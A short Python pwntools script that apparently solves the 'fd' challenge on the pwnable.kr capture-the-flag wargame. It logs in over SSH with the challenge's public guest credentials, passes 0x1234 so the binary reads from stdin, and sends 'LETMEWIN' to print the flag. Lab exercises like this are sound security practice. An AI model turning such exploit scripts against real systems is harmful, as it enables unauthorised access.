text: from pwn import *
  s = ssh(user='fd',password='guest',host='pwnable.kr',port=2222)
  #connect to FD server
  exe = s.run('./fd ' + str(0x1234))
  #run fd and give linux file descriptor
  #linux file descriptor : 0(stdin), 1(stdout), 2(stderr)
  exe.sendline('LETMEWIN')
  #Send"LETMEWIN"
  r = exe.recvall(timeout=5).decode()
  
  #recv all response
  print(r)
  exe.interactive()
  #print flag
  
  
  